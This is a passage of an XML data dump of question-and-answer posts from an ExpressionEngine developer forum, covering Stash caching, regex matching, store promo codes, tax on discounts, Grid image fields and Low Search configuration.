something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2014-01-22T12:54:18.920" Title="Solspace Freeform Pro Notification Hook Bug?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18632" PostTypeId="2" ParentId="18624" CreationDate="2014-01-22T12:01:55.867" Score="3" Body="&lt;p&gt;You embed IS being &amp;quot;cached&amp;quot; - saved to the Stash database table as a variable - but it's not being &lt;em&gt;parsed&lt;/em&gt; before being cached. That is because, out of the box, a Stash embed works just like an EE embed: the content of the embed file is included into the host template and then &lt;em&gt;parsed at runtime&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The parsing stage of an embed is controlled by the &lt;code&gt;parse_stage&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;parse_stage=&amp;quot;set&amp;quot;&lt;/h2&gt;&#xA;&lt;p&gt;Parse the template the first time it is read from the file, and cache the rendered result. Subsequent retrievals will return the cached template from the database and not the original template file (unless you have set &lt;code&gt;replace=&amp;quot;yes&amp;quot;&lt;/code&gt; parameter or have set &lt;code&gt;stash_file_sync = TRUE&lt;/code&gt; in your config).&lt;/p&gt;&#xA;&lt;h2&gt;parse_stage=&amp;quot;get&amp;quot;&lt;/h2&gt;&#xA;&lt;p&gt;Read the template file and cache it to the database. When output to the template on the first and subsequent retrievals the template will be parsed. This is similar to how EE templates work.&lt;/p&gt;&#xA;&lt;h2&gt;parse_stage=&amp;quot;both&amp;quot;&lt;/h2&gt;&#xA;&lt;p&gt;Parse the template before caching AND after it is retrieved. This can be very useful when enclosing regions of your template with &lt;code&gt;{stash:nocache}{/stash:nocache}&lt;/code&gt;. On SET the template code inside {stash:nocache} will not be parsed, but everything else will. On GET it will be parsed. This provides a way to partially cache some of your template code while leaving other areas dynamic.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;So to be clear: if you plan to cache a partially-rendered template with regions escaped with &lt;code&gt;{stash:nocache}{/stash:nocache}&lt;/code&gt; tag pairs, then you will need to use &lt;code&gt;parse_stage=&amp;quot;both&amp;quot;&lt;/code&gt; on your main Stash embed.&lt;/p&gt;&#xA;&lt;p&gt;Also please note that partial caching is incompatible with static caching, as a static-cached page does not pass through EE or even PHP at all - it's just served as plain old HTML. However, you can of course use javascript/ajax to update dynamic elements within a static-cached page.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-01-22T12:01:55.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18633" PostTypeId="1" AcceptedAnswerId="18638" CreationDate="2014-01-22T12:06:34.937" Score="1" ViewCount="351" Body="&lt;p&gt;In my stash:get_list how would I ignore case sensitivity. I know its something to do with '/i' but don't know a thing about regex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;filter_list&quot; match=&quot;#{stash:keyword}#&quot; against=&quot;e_title&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cheers!&lt;/p&gt;&#xA;" OwnerUserId="2031" LastActivityDate="2014-01-22T14:26:32.153" Title="Stash Regex Match" Tags="|stash|regex|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18634" PostTypeId="2" ParentId="18463" CreationDate="2014-01-22T12:22:43.003" Score="1" Body="&lt;p&gt;It depends on why you're doing this I think. It seems like you're adding extra info in to the entry so the client can distinguish between entries inside a Playa field, is that correct? But you want your URLs to be different. If that's the reason just change the URL to denver and keep the title One Day Denver. Playa will display the titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively add 301 redirects in your htaccess, so domain.com/denver maps to domain.com/one-day/one-day-denver. This will show the 3 segment URL to everyone though but you can keep your URLs short.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2014-01-22T12:22:43.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18635" PostTypeId="2" ParentId="18633" CreationDate="2014-01-22T12:27:28.803" Score="1" Body="&lt;p&gt;Without digging to deep I would look to transform your stash:set to lowercase to bypass testing. Something like streeng could remove cases and set to all lowercase for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/streeng&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/streeng&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-22T12:27:28.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18636" PostTypeId="1" CreationDate="2014-01-22T12:32:48.857" Score="1" ViewCount="61" Body="&lt;p&gt;because we're not able to setup promo codes to different products with Expresso 1.6.5 like you can with 2.x with discounts. We thought to use 200 promo codes with a limited use of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions is, is it a problem to enter 200 codes to expresso?&#xA;Can this be generated, via our database or with a different tool, which i don't know right now? Do we have to delete this promo codes after use by ourself, or get they deleted when they get used, via expresso store? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be great to know, how you would handle this with the 1.6. version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;" OwnerUserId="768" LastActivityDate="2014-01-22T20:09:19.583" Title="Generate many promo codes" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18637" PostTypeId="2" ParentId="18631" CreationDate="2014-01-22T12:54:18.920" Score="0" Body="&lt;p&gt;I believe you want to look at &lt;code&gt;$variables&lt;/code&gt;, not &lt;code&gt;$fields&lt;/code&gt; - specifically, &lt;code&gt;$variables['field_inputs']&lt;/code&gt; and/or &lt;code&gt;$variables['field_outputs']&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-22T12:54:18.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18638" PostTypeId="2" ParentId="18633" CreationDate="2014-01-22T14:26:32.153" Score="2" Body="&lt;p&gt;Try a case insensitive modifier (?i) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;match=&quot;#(?i){stash:keyword}#&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(untested)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-22T14:26:32.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18639" PostTypeId="1" AcceptedAnswerId="18735" CreationDate="2014-01-22T14:32:24.823" Score="1" ViewCount="575" Body="&lt;p&gt;We are implementing a Coupon page on a client's website. Basically just a page that displays the coupon JPG. I have a channel setup with a field to upload an image. The client wants the user to be able to input their email address into a form field and submit in order to get the coupon JPG emailed to them. Any ideas how this can be accomplished? The Coupon JPG will update occasionally. Thanks for any info!&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2014-01-22T15:06:13.947" LastActivityDate="2014-01-27T15:03:22.297" Title="Any way to include file in a email sent to user?" Tags="|solspace-freeform|email|forms|attachment|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18641" PostTypeId="1" CreationDate="2014-01-22T14:50:48.257" Score="1" ViewCount="107" Body="&lt;p&gt;So we have our navigation cached within stash to help rendering time. And as you can imagine, the navigation is present on every page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, for some reason this is creating a cache for every page... For example, there's an &lt;code&gt;[index]:navigation&lt;/code&gt;, as well as an &lt;code&gt;about-us:navigation&lt;/code&gt; and a &lt;code&gt;contact-us:navigation&lt;/code&gt;. There's also a &lt;code&gt;partials:navigation&lt;/code&gt; that gets created, but I think this is just stash saving the template to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As our navigation takes a good amount of time to render, this become a problem when we need to apply the cache breaking rules as now every single page load needs to re-render the navigation and cache it to it's own specific cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tag I'm using for the cache on the navigation is &lt;code&gt;{exp:stash:cache name=&quot;navigation&quot;}&lt;/code&gt;. I have the default scope set to &lt;code&gt;site&lt;/code&gt; in my configuration file, and when I look in Mustash it says the scope is &lt;code&gt;site&lt;/code&gt;. For the Label in Mustash though, it says &lt;code&gt;@URI:navigation&lt;/code&gt; and I'm not really sure why that is happening? I believe that's the problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my navigation cache fragment to be a global one, and not one generated for every single page?&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2014-04-23T13:59:24.930" Title="Global Cache Fragment with Stash" Tags="|stash|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18643" PostTypeId="1" CreationDate="2014-01-22T15:51:27.667" Score="1" ViewCount="29" Body="&lt;p&gt;I want to create a £100 discount on a product costing £600 (inc tax)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the UK I charge 20% tax so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sub Total: £600&#xA;Discount: £100&#xA;Total: £500 (£83.33 tax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A sale to the USA would not include tax so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sub Total: £500&#xA;Discount: £100&#xA;Total: £400 (£0 tax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that to get the £100 discount for the UK buyer I have to input £83.33 in the discount field. This actually works out the total taxes correctly but I have to multiply the discount by 1.2 to show it in the invoice as the discount is saved as £83.33 in the order channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buyer from the USA now only gets a discount of £83.33 and his totals look:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sub Total: £500&#xA;Discount: £83.33&#xA;Total: £416.67 (£0 tax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I input £100 as the discount value the sale to the USA is correct but the sale to the UK gets a bonus discount of £120.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sub Total: £600&#xA;Discount: £120&#xA;Total: £480 (£80 tax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyway around this problem?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-01-22T15:51:27.667" Title="Tax conundrum on discounts" Tags="|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18645" PostTypeId="1" AcceptedAnswerId="18657" CreationDate="2014-01-22T19:54:26.873" Score="1" ViewCount="757" Body="&lt;p&gt;I'm using the new Grid system in EE 2.7.3 and trying to create an image gallery with it. Typically I'd use the normal file upload format as a normal file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image}&#xA;    &amp;lt;img src=&quot;{path}_thumbs/{filename}.{extension}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;{/image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But with the grid system I have to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery_images}&#xA;     &amp;lt;img src=&quot;{gallery_images:community_image}&quot; alt=&quot;{gallery_images:title}&quot;&amp;gt;&#xA;{/gallery_images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get that to go to the path for the thumbnails?&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-01-22T23:10:42.167" Title="Using Grid with File Fields to get thumbnail" Tags="|ee2|file-uploads|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18646" PostTypeId="2" ParentId="18636" CreationDate="2014-01-22T20:09:19.583" Score="2" Body="&lt;p&gt;You can do this in Store 1.x by simply adding rows to the &lt;code&gt;exp_store_promo_codes&lt;/code&gt; table. You can look at existing rows in the table to see the format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you just need to enter a &lt;code&gt;promo_code&lt;/code&gt;, set &lt;code&gt;enabled&lt;/code&gt; to &lt;code&gt;y&lt;/code&gt;, and set the &lt;code&gt;use_limit&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 2, this table is named &lt;code&gt;exp_store_discounts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a tool such as phpMyAdmin to access the database, or do it programatically from an EE extension.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-22T20:09:19.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18647" PostTypeId="1" CreationDate="2014-01-22T20:12:57.417" Score="3" ViewCount="326" Body="&lt;p&gt;I'm integrating Securepay DirectPost for a client, which sends the customer off to Securepay and then back again - all is working except no text is appearing on the return page (eg, thanks for your order).  I get the emails ok though, just no text, can anyone think of what might be going wrong?  I use this function to update the order - $this-&gt;checkout_complete_offsite($auth, $refid); If I use this one - $this-&gt;gateway_order_update($auth,$refid) I just get a blank page (eg, no content at all).  I get a 'payment authorised' on the order in admin but I do see that the transaction id has not updated (I put this in the $auth array).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jill&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add:  I have tried the extload.php file as you mentioned but putting $this-&gt;response_script(ucfirst(get_class($this))) as my return_url just caused an error at securepay and the extload($post) function did not get any post variables returned to it, even if I ran $this-&gt;relaunch_cart_snapshot($txnid) inside it (that was empty too).  So I put it back to the return_url $this-&gt;get_notify_url(ucfirst(get_class($this)),'success') and it then runs the success function I wrote and updates the database and orders go through, but we're back to the no 'thanks for your order' displaying.  Just missing a tiny step!&lt;/p&gt;&#xA;" OwnerUserId="2646" LastEditorUserId="2646" LastEditDate="2014-01-25T09:06:59.950" LastActivityDate="2014-01-27T22:48:13.423" Title="CartThrob Securepay Return URL Issue" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18648" PostTypeId="2" ParentId="18567" CreationDate="2014-01-22T20:17:54.580" Score="3" Body="&lt;p&gt;It's not possible using Store's built in tags. You could do this by writing your own plugin though, if you're comfortable getting your hands dirty with a bit of PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To programatically change an order status in Store 2, you can find an order by ID like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order = Store\Model\Order::find($entry_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then find and change the status like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$status = Store\Model\Status::where('name', $status_name)-&amp;gt;first();&#xA;$order-&amp;gt;updateStatus($status, $current_member_id, $custom_message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-22T20:17:54.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18649" PostTypeId="2" ParentId="18577" CreationDate="2014-01-22T20:24:31.843" Score="0" Body="&lt;p&gt;You probably need to email support@exp-resso.com about this one, so we can follow up and do some tests on your actual server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, looking through the code I'm pretty sure that would only be happening for orders which are declined or cancelled (Store is trying to redirect your customers back to the checkout, but Worldpay isn't having a bar of it). I would try putting through some test orders in Worldpay that are declined or cancelled and see whether you can trigger the error message yourself.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-22T20:24:31.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18650" PostTypeId="1" AcceptedAnswerId="19245" CreationDate="2014-01-22T20:50:06.680" Score="1" ViewCount="104" Body="&lt;p&gt;I'm updating a wine store site I've built for a client (&lt;a href=&quot;http://shoptipsy.com&quot; rel=&quot;nofollow&quot;&gt;http://shoptipsy.com&lt;/a&gt;) to add the Fedex Shipping plugin to their current Store-powered shop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the plugin integrated with production credentials supplied by Fedex. All seems to be working except that the shipping charges that the plugin returns are the same no matter how many items I have in my shopping cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I add one bottle of wine to the cart, the shipping charges for the various FedEx options are the same as when I add 100 bottles to the cart. I see the same behavior whether I'm testing on my local dev setup or on my staging server. Also, I've tried to check the charges the plugin is returning against estimates that FedEx supplies with its website calculators, and they don't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This obviously won't work. I can't enable the plugin on my client's site if the shipping charges are not being calculated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else run into this issue? Is there a way for me to check what info is being supplied to the FedEx API by the plugin to see if the order_weight is being taken into account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any info anyone has,&#xA;Adam&lt;/p&gt;&#xA;" OwnerUserId="2600" LastActivityDate="2014-02-07T23:33:09.060" Title="Does Expresso Fedex Shipping plugin take product weight into account?" Tags="|expresso-store|shipping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18651" PostTypeId="1" CreationDate="2014-01-22T21:30:57.277" Score="2" ViewCount="27" Body="&lt;p&gt;The VZ Buyers plug in does not work for Store 2.0 and above and I was wondering if anyone had tinkered with it to get it to work?  Please let me know!&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2014-01-22T22:14:40.560" Title="VZ Buyers for Expresso Store 2.0?" Tags="|expresso-store|vz-buyers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18652" PostTypeId="2" ParentId="18651" CreationDate="2014-01-22T22:14:40.560" Score="1" Body="&lt;p&gt;The update to Store 2.x changed some of the extension hooks that &lt;a href=&quot;http://dvt.ee/adqj5ZC&quot; rel=&quot;nofollow&quot;&gt;VZ Buyers&lt;/a&gt; used, the add-on will need to be modified to work with Store 2.0. Your best bet would be to ask the developer directly by going to the &lt;a href=&quot;http://devot-ee.com/add-ons/support/vz-buyers/viewforum/1921&quot; rel=&quot;nofollow&quot;&gt;Official Support Forum&lt;/a&gt; to see if there are plans to update it support Store 2.x.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-01-22T22:14:40.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18655" PostTypeId="2" ParentId="18252" CreationDate="2014-01-22T23:00:04.350" Score="3" Body="&lt;p&gt;After a new channel and new field group and channel fields, I suddenly had the same problem for an existing channel(+fieldgroup)'s entries. It certainly wasn't a template issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I fixed it now: try renaming the grid field's Field Name (and Publish Label to match) to something else. It should work then (though mind that the template tags would need to be updated to reflect this change), and you can rename it back again to what you have it named now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe clearing the cache (Tools &gt; Data &gt; Clear Cached Data) would have done the trick, you might try that first.&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2014-01-22T23:00:04.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18656" PostTypeId="1" AcceptedAnswerId="18685" CreationDate="2014-01-22T23:01:49.707" Score="0" ViewCount="97" Body="&lt;p&gt;Had anyone come across developing &lt;strong&gt;Member badges&lt;/strong&gt; in Expressionengine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing a site, when a member do such activities such as&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Creating Entry&lt;/li&gt;&#xA;&lt;li&gt;Leaving Ratings&lt;/li&gt;&#xA;&lt;li&gt;Leaving Comments&lt;/li&gt;&#xA;&lt;li&gt;Making 10x comments&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and they get awarded a badge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugins I am using&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User (Solspace)&lt;/li&gt;&#xA;&lt;li&gt;Credits (Dev Demon)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I need some guidance. If no such plugins available, is there any other alternative I could develop with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="1350" LastEditDate="2014-01-22T23:09:25.260" LastActivityDate="2014-01-23T17:14:18.960" Title="Member Badges/Achievement?" Tags="|members|solspace|plugin|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18657" PostTypeId="2" ParentId="18645" CreationDate="2014-01-22T23:10:42.167" Score="4" Body="&lt;p&gt;You can use your original code if you prefix variables with the Grid field's short name. The purpose of the prefix is to avoid conflicts with the outer Channel Entries loop; it doesn't affect functionality.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery_images}&#xA;     {gallery_images:community_image}&#xA;          &amp;lt;img src=&quot;{path}_thumbs/{filename}.{extension}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;     {/gallery_images:community_image}&#xA;{/gallery_images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2631" LastActivityDate="2014-01-22T23:10:42.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18658" PostTypeId="1" CreationDate="2014-01-23T05:01:55.157" Score="1" ViewCount="560" Body="&lt;p&gt;I am still not 100% familiar with the newer relationships method added in 2.6 and I am wondering if I can get the &lt;strong&gt;Channel Category Archive Tag&lt;/strong&gt; {exp:channel:category_archive} working with a parent relationship. It's for the table of contents of a monthly magazine, and I want the category heading and the entries listed below. The parent being the issue number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Article 1&lt;/li&gt;&#xA;&lt;li&gt;Article 2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Article 3&lt;/li&gt;&#xA;&lt;li&gt;Article 4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've been playing with various combinations and no luck:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;print_editions&quot; disable=&quot;pagination&quot; limit=&quot;1&quot;}&#xA;&#xA;  {exp:channel:category_archive channel=&quot;articles&quot; style=&quot;linear&quot; show_empty=&quot;no&quot; status=&quot;not closed&quot;}&#xA;    {parents}&#xA;      &amp;lt;h2&amp;gt;{parents:categories}{category_name}{/parents:categories}&amp;lt;/h2&amp;gt;&#xA;       &amp;lt;ul&amp;gt;&#xA;        {parents:entry_titles}&#xA;         &amp;lt;li&amp;gt;{parents:title}&amp;lt;li&amp;gt;    &#xA;        {/parents:entry_titles} &#xA;       &amp;lt;/ul&amp;gt;&#xA;    {/parents}&#xA;  {/exp:channel:category_archive}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-03-30T21:07:59.630" Title="Parent Relationship and Channel Category Archive" Tags="|relationships|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18659" PostTypeId="1" CreationDate="2014-01-23T05:08:00.847" Score="1" ViewCount="375" Body="&lt;p&gt;Is it possible to have a single Low Search form doing something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Low Search Form field called &lt;code&gt;name&lt;/code&gt; which checks for values in channel fields called &lt;code&gt;company_name&lt;/code&gt;, &lt;code&gt;first_name&lt;/code&gt;, &lt;code&gt;last_name&lt;/code&gt;&#xA;  Low Search Form field called &lt;code&gt;keywords&lt;/code&gt; which works just like the regular keywords field on Low Search&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know we could have three fields on the form to handle company name, first name, last name but we are trying to simplify it for users and just have one field called name.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="172" LastEditDate="2014-01-23T07:36:24.080" LastActivityDate="2015-09-16T04:46:03.450" Title="Search Multiple Channel Fields From One Low Search Field" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18660" PostTypeId="2" ParentId="18659" CreationDate="2014-01-23T07:35:33.997" Score="1" Body="&lt;p&gt;If you want to search multiple fields with one input field, you'll need to use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;. The &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt; will always target a single field. Therefore, if you want to search for name only across 3 different fields, you'd need to create a collection where you give weight to the &lt;code&gt;company_name&lt;/code&gt;, &lt;code&gt;first_name&lt;/code&gt; and &lt;code&gt;last_name&lt;/code&gt; fields only. You could use a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; or radio buttons to let the user select the collection to use. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Search for &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot;&amp;gt;&#xA;in &amp;lt;select name=&quot;collection&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;the whole site&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;names&quot;&amp;gt;names&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot;&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where &lt;code&gt;names&lt;/code&gt; is the collection for the name only. By leaving the &lt;code&gt;collection&lt;/code&gt; parameter empty, you're telling Low Search to search &lt;em&gt;all&lt;/em&gt; collections.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-23T07:35:33.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18661" PostTypeId="1" AcceptedAnswerId="18669" CreationDate="2014-01-23T08:36:15.807" Score="3" ViewCount="233" Body="&lt;p&gt;Is there a well-supported, 2.7.x+ compatible add-on to save Snippets as files like what we can do to templates in Expression Engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there are a lot of options out there but I just want something that is well supported and stable.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-01-23T14:12:01.927" Title="Addons - Snippets as files" Tags="|snippets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18662" PostTypeId="1" CreationDate="2014-01-23T08:42:47.153" Score="2" ViewCount="451" Body="&lt;p&gt;I have a ExpressionEngine installation SVN'ed in one site that I would like to clone to another site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the process that I did&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extracted EE 2.7.2 version(used 2.7.2 because that is the version used in my site.)&lt;/li&gt;&#xA;&lt;li&gt;SVN checkout my files using the &lt;code&gt;--force&lt;/code&gt; flag to overwrite some files. &lt;strong&gt;Take note that I only version control the files that I have edited(templates, configs, etc) and did not bother to include the core files&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Exported and imported the database from the original site to the new one.&lt;/li&gt;&#xA;&lt;li&gt;Set some permissions(cache, config, etc)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Everything seems well, except I see this in the control panel homepage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Your ExpressionEngine installation’s version (..) is not consistent with the reported version (2.7.2).&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2016-04-01T05:56:24.017" Title="Inconsistent ExpressionEngine installation version" Tags="|upgrade|versioning|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
